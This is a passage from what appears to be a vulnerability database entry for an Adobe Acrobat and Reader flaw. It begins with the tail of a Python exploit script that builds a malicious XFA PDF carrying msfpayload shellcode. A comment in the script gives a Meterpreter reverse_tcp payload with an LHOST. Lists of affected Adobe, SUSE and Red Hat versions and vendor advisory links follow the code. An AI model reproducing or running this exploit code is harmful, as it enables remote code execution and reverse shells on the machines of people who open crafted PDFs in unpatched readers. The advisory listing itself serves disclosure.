payload. Ex. 'win32_exec CMD=calc'") parser.add_option('--payload', metavar='PAYLOAD', default=None) parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if options.doc: print __doc__ os.exit(-1) if options.debug: print mkXFAPDF(), os.exit(-1) if options.payload == None: #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R" msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE) shellcode = msfpayload.communicate()[0] else: shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex') print mkXFAPDF(shellcode),

Products Mentioned

Configuraton 0

Adobe>>Acrobat >> Version From (including) 9.0 To (excluding) 9.5.5

Adobe>>Acrobat >> Version From (including) 10.0 To (excluding) 10.1.7

Adobe>>Acrobat >> Version From (including) 11.0 To (excluding) 11.0.03

Adobe>>Acrobat_reader >> Version From (including) 9.0 To (excluding) 9.5.5

Adobe>>Acrobat_reader >> Version From (including) 10.0 To (excluding) 10.1.7

Adobe>>Acrobat_reader >> Version From (including) 11.0 To (excluding) 11.0.03

Configuraton 0

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 5.9

Redhat>>Enterprise_linux_eus >> Version 6.4

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_aus >> Version 5.9

Redhat>>Enterprise_linux_server_aus >> Version 6.4

Redhat>>Enterprise_linux_workstation >> Version 6.0

References

http://rhn.redhat.com/errata/RHSA-2013-0826.html
Tags : vendor-advisory, x_refsource_REDHAT
http://security.gentoo.org/glsa/glsa-201308-03.xml
Tags : vendor-advisory, x_refsource_GENTOO